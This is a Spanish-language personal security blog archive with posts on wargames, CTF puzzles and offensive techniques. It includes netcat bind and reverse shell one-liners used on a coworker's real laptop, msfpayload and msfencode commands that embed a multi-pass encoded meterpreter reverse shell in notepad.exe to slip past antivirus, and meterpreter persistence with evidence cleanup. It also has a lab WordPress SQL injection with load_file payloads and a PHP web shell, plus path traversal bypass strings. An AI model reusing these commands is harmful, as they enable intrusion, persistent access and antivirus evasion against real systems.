jueves, 21 de marzo de 2013

Owning my friend! (III)

Bueno bueno bueno, por alusiones personales.. http://seifreed.com/2013/03/21/yoy-have-been-owned/ he de decir que todo es mentira! :)

A ver, no ha sido tan fácil como lo comenta Seifreed, sí que es verdad que se dejó el ordenador sin bloquear, pero justo cuando lo vi, yo estaba a punto de irme a mi casa y tenía todo recogido así que no había demasiado tiempo. Por esa razón, la mejor opción, era dejarle un puerto a la escucha, que me brindase la oportunidad de ejecutar comandos.

Por esa razón lo primero a probar era dejar con NetCat ese servicio a la escucha:
  • $nc -l 2906 -e /bin/bash


El problema.. que la versión que viene por defecto en su ubuntu está "capada".

nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.

La opción de instalar la versión completa, existía, pero tenía privilegios de su usuario, no de root. Así pues, una de las pocas cosas que podía hacer en el poco tiempo que tenía era ejecutar lo siguiente:
  • $nc -l 2906 | /bin/bash

De esta forma, aunque no sea interactivo, todo lo que le envíe será redirigido hacia /bin/bash, y por lo tanto, ejecutado (aunque no veré resultados). 

Esta mañana, lo único que tenía que hacer era crearme una reverse shell. (sí, algún compañero me ha dicho, "súbele un meterpreter", pero la idea era darle una pequeña lección, no putearlo ;)). Así que, dejando un par de servicios a la escucha con el NetCat uno lo utilizaría de canal de envío de comandos y el otro para la recepción de resultados.
  • Terminal1: $nc -v -l 2906
  • Terminal2: $nc -v -l 2907

Y ahora.. conectandome a la máquina de Seifreed, sólo tenía que hacer, que se conectase contra mi y me sirviese la shell. 
TerminalAtacar: 
  • $nc IPSEIFREED 2906  --> para conectarme a él
  • $nc MYIP 2906 | /bin/bash | nc MYIP 2907


De esta forma primero me conecto a él, y luego hago que él se conecte a mi, sirviéndome esa shell tan preciada, Por supuesto, una vez aquí, ya ha sido cuando he creado ese archivo en su home, y le he avisado. 

Si alguien quiere saber más acerca de cómo hacer una reverse shell.. hay mucha información públicada, pero a mi, un par de enlaces que me gusta mirar para ver si tengo la oportunidad de utilizar son los siguientes:
Listado de reverse shells en una linea:
Cómo hacer una reverse shell a través de ICMP:






domingo, 9 de diciembre de 2012

Cómo no hacer un sistema de exámenes...


El otro día me tocó hacer un curso de esos online, para tener un títulillo sobre Prevención de Riesgos Laborales.
Por mucho que la RRHH te diga que no te llevará más de 15 minutos... al principio del curso ya ves que es una repetición de los mismos conceptos que has escuchado una y otra vez, y de la lógica.. y bueno, un mensajito indica que dura 160 slides, y que serán aproximadamente unos 240 minutos.
Así que 160 slides después, lo último que tienes ganas es que te hagan un examen de la teoría que has tenido que leer, repitiendo lo mismo una y otra vez... Por lo que cuando he acabado el examen correctamente... me ha dado por "mirar" la aplicación.

Que nos podemos encontrar en este punto? pues muchas opciones, pero la que me he encontrado.. ha sido una que no me la esperaba... por lo mal hecha que estaba. 


Al acceder al examen, era tipo test, con tres posibles respuestas de A, B, o C, con lo que sí acertabas salía un "CORRECTO" y si fallabas un "ERROR". 

Tal y como se comportaba la aplicación, que no parecía haber ningún tipo de refresco, de peticiones hacia el servidor ni nada, me puse a observar el código fuente, esperando que no fuesen verdad mis sospechas. Efectivamente, lo eran. Las comprobaciones las hacía directamente con un javascript en la parte del usuario. FAIL.

Como se puede observar, al elegir una opción, se realiza una petición a una función javascript contenida en la misma página. Y en función de que opción se elija se envían unos parámetros u otros.


Al buscar la función, nos encontramos que en tratando los parámetros recibidos, se indica si la respuesta que has seleccionado es la correcta o no (si el primer parámetro es un 1, es la correcta), además, al hacer el envío, tenemos el valor de "value" que nos indica cómo se tiene que respuesta se deberá pintar de verde, por lo que es otra forma de saber la respuesta correcta. En resumen, que en la misma petición, ya se está enviando la solución! la función de validación, solo sirve para pintar los colores y el mensajito de CORRECTO y sumar puntos! (se puede observar al final de la siguiente captura)


Además, no solo contentos con esto.. han hecho que todas las preguntas estén en el mismo Html, y que por lo tanto, se puede visualizar todas las respuestas de golpe, buscando los "validarRespuesta(1,XXX" 
podríamos obtener todas las respuestas posibles. 

Cómo sería muy cansado y laborioso estar revisando todo el código de la página para ir acertando cada una de las preguntas que se hacen... es más fácil si sabes como se hace la petición para registrar tu resultado... y cómo no, también está en el código fuente:


Pero recordad, haciendo esto, no se aprende! que si os apuntan a un curso, es para sacar provecho, y que luego os envíen un título como el siguiente. 


martes, 20 de marzo de 2012

Owned for ever


Some days ago, I read something about the modules of meterpreter that one can execute once a machine has been compromised but I can't remember where I did it. So, I want to talk about the use of some of them.

First for all, we have a lot of scripts to run (about 180) and we can do some actions such as to collect the credentials stored in the system, or in the software installed.

There are other options one can do, and one this is the possibility to make our connection persistent and mantain that channel for future connections. In order to do that, we must use the "persistent" script. For see the options that it have, one must execute "run persistence -h":

Using that script, we create service on the compromissed machine that it will be ready every time the server will be rebooted.

To explain how it works, we must know the options it have:

-A Automatically start a matching multi/handler to connect to the agent
-L Location in target host where to write payload to, if none %TEMP% will be used.
-P Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on the remote host where Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back

I will use the options "-A", "-S", "-X", "-p 4445" and "-r 192.168.0.182". As we can see on the following image, a new session has been created, and also we can see where the vbs script has been stored and executed with a new process ID (PID).

If we want to proof if the channel is persistent now, we must reboot the owned computer, so the active sessions will be died and when the computer has been loaded it will try to connect to our multihandler.


In order to clean our evidences, we must delete the files created, and kill the current process. For do that, whe we run for the first time the "persistent" script, a cleaning script has been created on /root/.msf4/logs/persistence/*.rc, so we must to change the PID on the script and put it as the last command to execute because if we run that before the other commands, the conection will be died, and will not be possible to delete the key on the register.

At last, we must run the "resource" command for meterpreter to execute the cleaning script.

It is possible to obtain some errors when we run the resource command, but only the accepted errors are when tring to delete the payload created on the system (only, if we didn't change the path and the script was created on the %TEMP% directory because when the machine will be rebooted, the script will be deleted), and the error when tring to kill the Process, for the same reason.

miércoles, 7 de marzo de 2012

Cuidado con lo que te cachean... y no en los aeropuertos


Hace unos días me compré un billete de avión y me llegó al móvil un SMS por parte de eDreams con una url acortada por Tinyurl para que si lo abro desde el móvil me muestra la información de ruta de ésta compra.

El problema fue, que no entré con mi teléfono a la página, si no con mi ordenador y un navegador normal... Y al "des-acortar" la url, me entraba directamente a la aplicación móvil, con los datos de "trayecto" para mi usuario.

La URL que se genera para poder entrar es del siguiente estilo:
http://m.edreams.es/Mobile/b2aeb0a0****************

Así que.. por que no buscar si existe algún contenido similar en google?

Pues la respuesta es que sí, existe, por lo menos un resultado, que permite acceder a los trayectos de un usuario de eDreams, dónde se pueden observar 3 de sus próximos viajes.


Por desgracia.. sólo permite observar.. nada de cambios de nombres ni nada por el estilo más jugoso ;)

sábado, 3 de diciembre de 2011

Hackademia RTB1

Bueno, hoy voy a analizar un poco este wargame que me descargué hace un tiempecillo y que he estado probando este fin de semana..

Se trata de "Root the box", que lo conocí a través de la gente de sec-track:
http://www.sec-track.com/Wiki/wiki/index.php/Hackademic.RTB1
Se trata de una imagen de vmware que se puede abrir sin problemas con VirtualBox. Al levantar la máquina, ya coge IP mediante DHCP, así pues.. lo primero será, mirar a ver que tiene... así que.. vamos con un Nmap.

Después de ver esto, tenemos que el único puerto abierto y por lo tanto punto de entrada, se trata del servidor web, ya que ssh se encuentra cerrado.

Así pues si accedemos a la aplicación:
http://192.168.0.190/
podemos ver que no hay prácticamente nada.. tan solo un mensaje que indica que la aplicación principal está en /Hackademia_RTB1/. Al acceder, veremos que es una aplicación prácticamente en pañales, con tan solo 2 enlaces, así que si buscamos un poco, por ver si hay algo más que no esté enlazado...
  • http://192.168.0.190/phpMyAdmin/ - Forbidden
  • http://192.168.0.190/Hackademia_RTB1/wp-admin - Ok
  • http://192.168.0.190/Hackademia_RTB1/wp-login - Ok
  • http://192.168.0.190/Hackademia_RTB1/xmlrpc.php - Ok
  • http://192.168.0.190/Hackademia_RTB1/license.txt - Ok

viendo estos archivos, y si miramos dentro del contenido que envía el servidor, podemos confirmar que se trata de un Wordpress 1.5.1.1. Si se busca un poco por internet, se puede ver que esta versión dispone de diversas vulnerabilidades, entre ellas SQLinjection y XSS (que ésta no nos sirve).



Así que.. mirando, probando.. he visto que se trata de la variable "cat" que es vulnerable a SQLi. He estado buscando a ver si estaba documentada y no he visto demasiado, así que probando de hacerlo a mano. Así que pongo aquí algunas consultas que me han ido llevando a sacar información:
Para ver el número de columnas que tiene la sentencia:
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%205
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%206

hacemos un union con una consulta nuestra, para ver si existe algún campo que sea visible:
http://192.168.0.190/Hackademic_RTB1/?cat=1%20union%20select%201,2,3,4,5
En un principio no se puede observar cambios, pero esto es debido a que al final de la sentencia añade un "LIMIT 1" y como la primera parte ya nos devuelve "Uncategoritzed" es lo que utiliza todo el rato, así que se trata de que la primera consulta no devuelva nada, así que, hacemos que siempre sea falsa añadiendo la condición "and 1=0":
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20and%201=0%20union%20select%201,2,3,4,5

Con esto podemos ver que el campo "2" se muestra en el título, por lo tanto es el parámetro que usaremos para realizar extraer la información.
Buscando información acerca de las tablas que usa la base de datos de wordpress, vemos la especificación de la tabla de usuarios:
http://codex.wordpress.org/Database_Description#Table:_wp_users
lo que nos interesa son los campos user_login y user_pass:

1:NickJames:21232f297a57a5a743894a0e4a801fc3 - admin
2:JohnSmith:b986448f0bb9e5e124ca91d3d650f52c - PUPPIES
3:GeorgeMiller:7cbb3252ba6b7e9c422fac5334d22054 - q1w2e3
4:TonyBlack:a6e514f9486b83cb53d8d932f9a04292 - napoleon
5:JasonKonnors:8601f6e1028a8e8a966f6c33fcd9aec4 - maxwell
6:MaxBucky:50484c19f1afdaf3841a0d821ed393d2 - kernel

Entrando en cada uno de los perfiles dentro de wordpress, es posible ver que GeorgeMiller es el administrador de la aplicación, vamos, quien tiene más privilegios.

La idea, es modificar alguno de los archivos existentes en el sistema, por tal de poder ejecutar php y hacer un interprete de comandos vía web. Así pues, modificando el footer.php de uno de los templates, añadiendo código en php tenemos lo siguiente:



Así que mediante esta consola, ya podemos ejecutar comandos, como por ejemplo...:
  • http://192.168.0.190/Hackademic_RTB1/wp-content/themes/starburst/footer.php?cmd=whoami -> apache



Bueno, y ya que estoy y comento algo de la solución que proponen la gente de sec-track, comentar un par de cosas que no sabía y que me han parecido muy interesantes y útiles:
Para empezar, la codificación del archivo utilizando "char" para evitar las comillas y que se provoquen errores... esto lo he hecho inumerables veces con XSS, pero no se me había ocurrido para un SQLi.
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3,4,5

Y segundo, que al codificar el nombre del archivo en Hex, te permite obtenerlo igualmente:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(0x2f6574632f706173737764),3,4,5
Ambos obtienen el archivo /etc/passwd, ya que con la siguiente petición provoca un error:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file('/etc/passwd'),3,4,5

Puzzle (IV de VI)

Hoy vamos a empezar por la segunda parte de cada uno de los puzzles.

Al resolver el primer puzzle, el de la imagen que nos comentaba mirar el código fuente... nos llevaba al llamado "Puzzle Δ" que es la segunda parte, y el principio de la solución final al enigma, bueno, a la url donde queremos acceder.

Así pues, una vez que hayamos resuelto estos tres últimos puzzles, podremos dejar nuestro CV en:
http://www.rtncyberjobs.com/pz2/Solution to Δ/Solution to Ω/Solution to Σ

Así pues vayamos a solucionarlo.

En este segundo caso, nos encontramos con la siguiente imagen:

En ella comenta que las imagenes suelen tener más información de la que podemos ver... así que... para empezar se me ocurren dos cosas que poder mirar.

La primera, metadatos o información contenida en ésta, así que para ir rápido y ver si se puede extraer algo, se descarga la imagen y se puede probar con hacer un "strings", con el siguiente resultado:

(no sé ve demasiado bien, pero la frase es: Getting warmer! Use concealment to uncover even more as you hunt for the solution string to this puzzle... like hide and seek...)

Al observar la frase obtenida, ya no he pensado en mirar más por esta vía. Además, de que da la pista de usar "hide and seek" un software para steganografía, que era la segunda opción :D

Al buscar este software, he podido ver que se trata de un software para imágenes GIF, por lo que no me sirve. Buscando un poco más, he podido ver un software que se llama JPHS (jpeg hide and seek), por lo que parece que es la opción perfecta.

Al ejecutar el programa me pide una contraseña para poder extraer la información oculta... y sin contraseña, no exporta nada... Por lo que revisando de nuevo la pista que tenemos con "strings", se me ocurre que lo de "use concealment to uncover" puede ser literal.. así que probando con "concealment" obtenemos el siguiente bonito mensaje:

así que ya está, tenemos la primera de las tres partes de la URL para utilizar!

Enlaces de interés:

http://www.jjtc.com/Steganography/tools.html

http://linux01.gwdg.de/~alatham/stego.html

viernes, 2 de diciembre de 2011

Puzzle (III de VI)

Bueno bueno... y aquí viene el tercer wargame, level 1...:P

Nos encontramos con el siguiente texto...


Este tiene ya más miga que no el resto...En el texto preguntan.. "¿Quien dijo...?" y al final nueve espacios en blanco, que suponemos es la solución, y lo que deberemos añadir a la url para pasar al siguiente nivel...

Como podemos ver, el texto tiene sus espacios, sus puntos y comas.. así que es de suponer.. que tan solo existe una transmutación entre las letras que aparecen y las originales. Es decir, tenemos que encontrar la correspondencia entre las letras, por tal de poder substituir cada una por su correspondiente original.

Dado que se trata de una página en inglés.. y que la frase, es de suponer que también lo estará.. el primer paso es realizar un estudio de la frecuencia que aparecen las letras.

http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language

El siguiente paso es coger y hacer un recuento de las letras que aparecen en el texto, así cómo un método para el cambio por las originales... sí, se puede hacer mediante folio y lápiz.. pero resulta demasiado coñ... tedioso. Así que, con un par de funciones de python es posible agilizar y facilitar esta tarea..

Para empezar, una función que nos haga el recuento de cada una de las letras que aparecen en la frase...:
(sustituir los _ por tabulaciones, que blogger no me deja meter el código..)
def cont(string):
_dic={}
_i=65
_while i<=90:
__dic[chr(i)]=string.count(chr(i))
__i=i+1
_return dic

Esta pequeña función, nos devuelve un diccionario con el número de veces que aparece cada letra. A continuación, otra función para hacer el cambio de letras, en función de otro diccionario que se encargue de las traducciones.

def subs(orig,trans):
_for i in trans.keys():
__orig=orig.replace(i,trans[i])
_print orig

Con estas dos pequeñas funciones definidas dentro del interprete de python, tan solo es necesario ir pasando las traducciones que creamos correctas, por tal de poder llegar a descifrar el mensaje.

Así pues, después de ir haciendo sustituciones.. nos queda el siguiente vector de traducciones:

trans= {'A': 'o', 'C': 'p', 'B': 't', 'E': 'l', 'D': 'a', 'G': 'h', 'F': 'u', 'I': 'i', 'K': 'm', 'J': 'b', 'M': 'j', 'L': 'c', 'N': 'd', 'Q': 'n', 'P': 'e', 'S': 'r', 'R': 'v', 'U': 'k', 'T': 'f', 'W': 'w', 'V': 's', 'X': 'y', 'Z': 'g'}

Así que dejo como ejercicio el acabar de juntar las partes, y descubrir que presidente dijo la frase...

jueves, 1 de diciembre de 2011

Puzzle (II de VI)

Bueno, pues aquí vamos a por el segundo!!

Para empezar tenemos la siguiente imagen llena de "interruptores":

Si alguien no se le ha ocurrido aún viendo la imagen, los interruptores están en dos posiciones, DOS, circuito abierto o cerrado o lo que es lo mismo.. 0 o 1. Sí, es un sistema binario, y si encima os tomáis la molestia de contarlos.. veréis que hay 96 interruptores, es decir, 12 grupos de 8 bits... vamos viéndolo ya?

Estos 96 bits, se puede representar por:

011000100110100101101110011000010111001001111001011100110110111101101100011101100110010101100100

Lo siguiente sería coger cada grupito de 8 bits.. (si alguien no sabe hacer la conversión a decimal.. que se lo mire.. o se lo haga mirar...)

01100010 = 61 (hex) = 97 dec = 'a'

con el resto... es muy fácil hacerlo, así que ahí lo dejo..


buen va.. si alguien ve que no le sale.. puede usar alguna aplicación web que le haga el trabajito...(cómo por ejemplo:)

miércoles, 30 de noviembre de 2011

Puzzle (I de VI)

Bueno, dejando un poco al margen el tema de cómo llegar a "Ownear" una máquina.. que tengo pensado probar unas cuantas cosas... voy a comentar 6 "ejercicios" para poder llegar a dejar tu CV en una empresa :D

Llegó a mi correo el siguiente enlace:

y al acceder a él, hay 3 wargames que constan de dos partes, y que al acabar puedes acceder a dejar tu CV, así que voy a intentar reventarles el chiringuito, contando cómo solucionarlos :)

Para empezar tenemos el reto 1:


Según la imagen, el romper un código puede venir de cualquier lado, y que es bueno considerar la fuente.. bueno.. así que es algo evidente, ¿no? sí se mira el código fuente de la página se puede observar el siguiente texto, que nos dirá cómo acceder al segundo nivel de éste reto.


Por lo que ya sabéis.. tan sólo es necesario añadir el "id key" a la Url del sitio, para llegar al siguiente nivel.

sábado, 29 de octubre de 2011

Owning, my friend! (II)

Lo de hoy es para comentar una anécdota que me ha ocurrido en mi actual interés de "cómo saltarme un antivirus"...

El caso es, que generando una máquina virtual con WinXP SP2, con antivirus McShit Enterprise 8.7 actualizado ayer mismo..

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > payload.exe

Coloco el payload en el servidor web y en un recurso compartido por tal de tener dos lugares a los que acceder al archivo.

Si intento descargar el archivo a través de la web, el antivirus hace bien su trabajo, y saltando la protección de acceso al disco, salta una alerta (¡Bien por McShit!!).

Mientras investigaba en esto, pensé:
- ¿y si intento ofuscar un poco el binario?
Así que comentándolo con compañeros, me comentaron la posibilidad de utilizar técnicas "básicas" para la ocultación de binarios dentro de otros archivos (ya sean binarios o no). Probé dos técnicas:

La primera es la de incluir el ejecutable dentro de otro, mediante el "iexpress" de windows, haciendo un "instalador" para ambos. Esto me lo comentó un compañero, pero solo permite el mover el archivo, a la hora de ejecutarlo, desempaca los dos archivos, y cuando ejecuta nuestro ejecutable, el antivirus lo detecta, puesto que no está ofuscado ni nada y vuelve a estar visible para éste.

La segunda, ya la conocía, se trata de los Alternate Data Streams , pero para este caso, tampoco funciona, puesto que al enviar el archivo, si no se realiza la copia mediante un método que mantenga los ADS, no sirve para nada, además, que el antivirus también lo detecta :D
Siguiendo con el tema del origen del archivo... si intento copiar el archivo desde el recurso compartido al disco... también salta una alerta... Pero en el caso de ejecutar directamente el archivo desde el recurso compartido.. la cosa cambia..

No solo permite ejecutarlo, si no que mientras que realizas las acciones que quieras con el meterpreter, el antivirus ni se entera.

Así pues.. la idea puede ser, en lugar de meter un archivo que contenga un ejecutable malicioso.. uno que se encargue de montar el recurso compartido y ejecutar un archivo específico.. y que para esto, si que nos podría ir bien el iexpress ;)

Por otro lado, he empezado a leer cómo modificar un binario con tal de hacerlo indetectable a un antivirus... pero es jodido de cojones..:D así que supongo que cuando escriba lo próximo.. será algo más mundano.

lunes, 24 de octubre de 2011

Owning, my friend!


Después de tanto tiempo.. va siendo hora de que actualice un poco..

En mi empresa, tenemos la mala costumbre (o buena..) de que cuando alguien se deja el ordenador sin bloquear, hacer lo que llamamos un "follarín de los bosques" (dejo a elección del lector la búsqueda de esta "técnica"... .com), la cosa ha ido evolucionando... y da la casualidad que tengo un compañero un tanto bacilón y que llevo unos días intentando darle una lección... (ese compañero es Seifreed ;))


Así pues.. esa lección consistía en meterle un meterpreter en su máquina, y una vez ahí, asustarle un poco jugando con procesos, notepads, capturas de pantalla y demás... La máquina era un Win7 con el antivirus Comodo, por lo que lo primero de todo que hice fue crear un ejecutable con el payload desde el msfpayload:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > seif.exe


a continuación este ejecutable lo subí a virustotal y cómo se puede ver en la imagen, dicho archivo no lo reconoce como malicioso (al menos el antivirus que él utiliza):



Así pues, tocaba ejecutar la operación "Owning Seifreed" en el momento en que se levantase y no bloquease el portátil... así que el primer paso era dejar un meterpreter escuchando para la conexión inversa desde su máquina.

./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E

Unos minutos después.. ya estaba levantándose para dejarme el portátil sin protección alguna.. (muahhahaha) por lo que aproveche para conectarme a mi máquina vía http y descargarme el archivo que después ejecutaría...

http://192.168.0.153/seif.exe

Tuve la mala suerte de que me pilló con las manos en la masa, por lo que saltó sobre mi y empezamos a realizar un forcejeo... él para quitarme el mouse pensando que quería abrir alguna url jugosa.. (www.lolshock.com) y yo para cerrar la información de descargas y que no viese el archivo descargado para poder así esperar a la próxima oportunidad para ejecutarlo...

Desgraciadamente, un fin de semana de por medio, se ha dado cuenta del archivo descargado... así que hoy ya hemos jugado con el ejecutable ambos, con la idea de si realmente Comodo no lo detectaría o se lo tragaría...

Al ejecutar seif.exe el antivirus ha detectado que se trataba de un ejecutable que no conocía y por lo tanto lo ha "sandboxeado" para evitar males mayores... por lo que ha permitido realizar la conexión inversa, pero, sin permitir el acceso a ciertas llamadas por parte de meterpreter.
Por lo que he empezado a darle vueltas.. ¿por que lo ha detectado el antivirus?¿por que lo ha metido en una sandbox?¿que pasaría si lo detectase como un ejecutable conocido?


Así que ahí he decidido.. y si lo codifico dentro de un archivo conocido?¿también lo detectará como extraño? Por lo que hemos vuelto a generar otro payload, pero esta vez metiéndolo dentro del ejecutable del notepad, y por si acaso, codificacándolo 5 veces con shikata_ga_nai...

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /tmp/notepad.exe -o /tmp/troloro.exe

Volvemos a subir el archivo generado a la máquina que queremos Ownear, y volvemos a ejecutar...

Se vuelve a realizar la conexión, y esta vez no ha aparecido ningún mensaje del "Comodo" indicándome nada extraño... pero vuelvo a no tener privilegios para nada.. por lo que supongo que ha vuelto a "sandboxear" el proceso..

Lo hemos estado mirando y en el modo "paranoid" parece ser que todo ejecutable que no conoce lo mete en una sandbox, mientras que si estuviese en modo protección "advanced", se lo traga todo... por lo que en ese caso, es prácticamente imposible saltarse esa restricción... Al investigar un poco más, también hemos podido ver que para analizar los ejecutables, se mira que tengan un tamaño máximo, con tal de no ralentizar los análisis.. pero este límite es de 40 MB.. así que es un poco grande como para generarlo.. y seguramente, lo seguiría metiendo en la sandbox, aún sin analizar..

Estos días intentaré mirarme un poco la forma de evadir antivirus... no como lo hace Selvi metiendo código vbasic en memoria... si no de intentar hacer menos detectable un ejecutable..
a ver si tengo éxito y puedo escribir algo ;)

sábado, 31 de julio de 2010

Leviathan wargame level1 y level2

Hace un par de meses leyendo otro blog, leí sobre la existencia de intruder.net así como de los wargames que tiene.
Empecé por el primero, también el más sencillo. Y aunque estuve unos diez minutillos, no llegué a pasarlo entero, pero bueno, vamos paso a paso. Éste es "Leviathan":

Access:
ssh:leviathan.intruded.net
port:10101
username:level1
password:leviathan

Consiste en que dado un usuario, tenemos que ir escalando privilegios hasta el usuario level8, así que una vez nos conectamos, podemos ver un mensaje de bienvenida. En éste, se nos comenta que la mayoría de los niveles, los podemos encontrar en /wargame, así como que /tmp es "writeable". Pero si probamos, vemos que no es "readable", al menos no por nosotros.

Si se accede a /wargame podemos observar que existen unos cuantos archivos con el bit de SUID actio, por lo que pueden ejecutarse con permisos de otros usuarios "mayores".


Level 1:
En el caso de level1, no existe archivo en /wargame, así que hay que mirar en su propio home. Se puede ver que hay un archivo .password que contiene el password del nivel 1, pero esta no nos sirve, puesto que ya la tenemos.
Observamos que existe un directorio .backup, que dentro tiene un archivo bookmarks.html. Podemos abrirlo y mirar dentro a ver si nos puede dar alguna pista de la contraseña para el nivel 2, aunque haciendo una simple búsqueda de palabras podemos evitar leerlo entero (1400 lineas no es para menos!):P


grep intruded bookmarks.html
o
grep pass bookmarks.html


El resultado es una url donde si accedemos podemos ver la contraseña para el siguiente nivel.

El siguiente paso:
level1@leviathan:~/.backup$ su level2
Password:
level2@leviathan:/home/level1/.backup$

Level 2:
Como vemos, estamos como usuario "level2", en el home de level1. En este caso si que existe ejecutable en /wargame, así que.. vamos para allí.

Podemos ver, que el archivo que podemos ejecutar, y que nos dará privilegios de "level3" es el ejecutable "check".

level2@leviathan:/wargame$ ./check
password: prueba
Wrong password, Good Bye ...

Por lo que parece, está comparando la contraseña que nosotros le proporcionamos de alguna manera, y en caso de que sea válida nos dará acceso al siguiente nivel.
Así que, utilizaremos "ltrace" para ver las llamadas que hace y ver si podemos extraer algo de información que nos llegue a mostrar como obtener la contraseña.

Como se puede observar la imagen, hemos introducido como contraseña "prueba", y vemos que luego realiza una comparación con strcmp, para ver si las 3 primeras letras de nuestra contraseña, son "sex".

Así que en caso de introducir alguna palabra que empiece por sex, ya ejecutamos el /bin/sh que nos proporciona acceso a level3:

level2@leviathan:/wargame$ ./check
password: sex
sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)
sh-3.1$

Actualización:

Faltaba una cosa, acceder al home de level3 y ver su contraseña para poder hacer el "su" ;)

sh-3.1$ cd /home/level3
sh-3.1$ ls
sh-3.1$ ls -lah
total 24K
drwx------ 2 level3 level3 4.0K 2008-03-26 02:08 .
drwxr-xr-x 10 root root 4.0K 2008-03-26 01:55 ..
-rw-r--r-- 1 root root 0 2008-03-26 02:08 .bash_history
-rw-r--r-- 1 root root 220 2008-03-26 01:53 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-26 01:53 .bash_profile
-rw-r--r-- 1 root root 2.2K 2008-03-26 01:53 .bashrc
-rw-r--r-- 1 root root 9 2008-03-26 01:54 .passwd
sh-3.1$ cat .passwd

Eso sí, la contraseña no la pongo!

lunes, 28 de junio de 2010

Mobile Tools

Tengo varios temas sobre los que escribir.. pero llevo unos días recibiendo varios feeds sobre temas relacionados con los móviles, y bueno, aunque no haya trasteado yo demasiado con ellos, voy a poner un par de cosas de las que me han parecido más interesantes.

En primer lugar, como realizar un análisis forense de un dispositivo móvil mediante la tool: http://www.oxygen-forensic.com/en/

Y aquí los enlaces:

En segundo lugar, una herramienta para realizar test de intrusión mediante bluetooth:

Y por último, una versión de Metasploit para dispositivos móviles..

En cuanto pueda probar como funcionan ya lo explicaré :D... aunque no tengo demasiado tiempo ahora..

sábado, 19 de junio de 2010

varios temas de clickjacking


Ya que llevo varios días sin escribir, voy a hacer referencia a un post que he escribí hace unos días..

El caso es modificar la funcionalidad que hasta ahora le habíamos dado a un cross-site scripting, para convertirlo en un ataque de clickjacking.

clickjacking:

xss to clickjacking:


jueves, 22 de abril de 2010

McAfee rules!

En los dos últimos días han aparecido una serie de problemas por causa de McAfee. Sí, por causa de McAfee, no por un virus y que McAfee haya solucionado.. sinó porque al actualizar sus antivirus, uno de los archivos de firmas contiene un falso positivo, el qual comienza a eliminar servicios de la máquina hasta que la deja prácticamente frita.
El archivo de firmas es el que se refiere al 5958.dat dándo un falso positivo para w32/wecorl.a y afectando al archivo svchost.exe dejándolo en blanco o bien borrándolo, por lo que no se puede ejecutar ningún servicio en la máquina.

A continuación dejo un enlace de como solucionar el problema:

http://vil.nai.com/vil/5958_false.htm

sábado, 27 de marzo de 2010

Path traversal an other issues

Hoy voy a hablar, de saltarse ciertas restricciones mediante la codificiación de caracteres, mediante la manipulación de la entrada así como de la própia vulnerabilidad en sí: "Path traversal".

En primer lugar, comentar que en algunas aplicaciones (sean web o no), disponen de una vulnerabilidad que permite acceder a recursos en los que en un principio no se les permite el acceso. Esto se debe a que se hace una referencia hacía un objeto:

http://unawebcualquiera.com/index.php?file=info.txt

En esta petición, se está haciendo referencia al archivo info.txt incluyendo su contenido en la aplicación. Ahora bien, que es lo que pasaría si en lugar del archivo "info.txt" quisiesemos que nos incluyese el archivo "/etc/passwd". Para ello, deberíamos hacer referencia a este archivo, por lo que debemos utilizar los "../" para escalar directorios:


En esta imagen se puede ver el contenido del archivo "etc/passwd" y como hacemos referencia a él mediante los ../.

Para solucionar este problema, deberíamos evitar que se pudiese introducir esa cadena. Si tan solo se elimina "../" es posible saltarse esta restricción, ya que si se realiza una cadena que al eliminar los "../" quede de la misma forma.

"..././..././..././"

Otra de las formas, de evitar esta posible restricción, es mediante el uso de la codificación de carácteres, en algunos casos, según como se trate los carácteres se puede realizar mediante: "%2e%2e/"

sábado, 13 de febrero de 2010

Primeras vulnerabilidades en Buzz





Hace un par de días, se me activó una nueva pestaña en gmail, en el texto de ésta, aparece la palabra "Buzz". Al parecer, es un nuevo servicio de google, que intenta emular una especie twitter que sea utilizado desde gmail, donde tus contactos puedan ver que públicas, y hacer comentarios al respetcto.

Por lo que he visto, me gusta algo más que twitter por el hecho de que es más fácil seguir el hilo de una conversación.... pero el caso.. es que al ser un servicio nuevo integrado a Gmail, puede aportar nuevas vulnerabilidades al conocido gestor de correo.

He leído esta mañana, que es posible realizar un ataque de CSRF (Cross-site request forgery) a gmail. Este ataque se basa en que un usuario realice una petición hacia un sitio web (en este caso, gmail) sin que éste tenga conocimiento de ello.

Una prueba es que al cargar la siguiente imagen, si teníais el gmail abierto, se os habrá cerrado la sessión.

El siguiente test.. va a ser utilizar este tipo de ataques para publicar algún texto en Buzz. Si lo consigo, ya os enteraréis!!!


Fuente:



martes, 1 de diciembre de 2009

reDuh: TCP redirection over HTTP

Hay ocasiones en las que al hacer una auditoría, uno se encuentra con que tiene acceso a un servidor a través de la web, pero no a todos sus servicios y mucho menos al resto de equipos de la red interna por encontrarse tras un firewall.


En este caso, y si tenemos la posibilidad de subir un archivo al servidor (en otra ocasión hablaré de esto) se puede subir un archivo "servidor" que hará la redirección.


Este pequeño servidor queda a la espera de que comencemos una conexión. Por lo que utilizando el cliente deveremos realizar una petición de conexión.

java -jar reDuh http://objective-server/uploads/reduh.php 80

De esta manera, se crea una conexión, entre nuestro cliente y el archivo subido al servidor objetivo. Este proceso creado, abre un puerto a la escucha en nuestro equipo, para que nosotros nos conectemos (por defecto el 1010).




Por lo que haciendo...
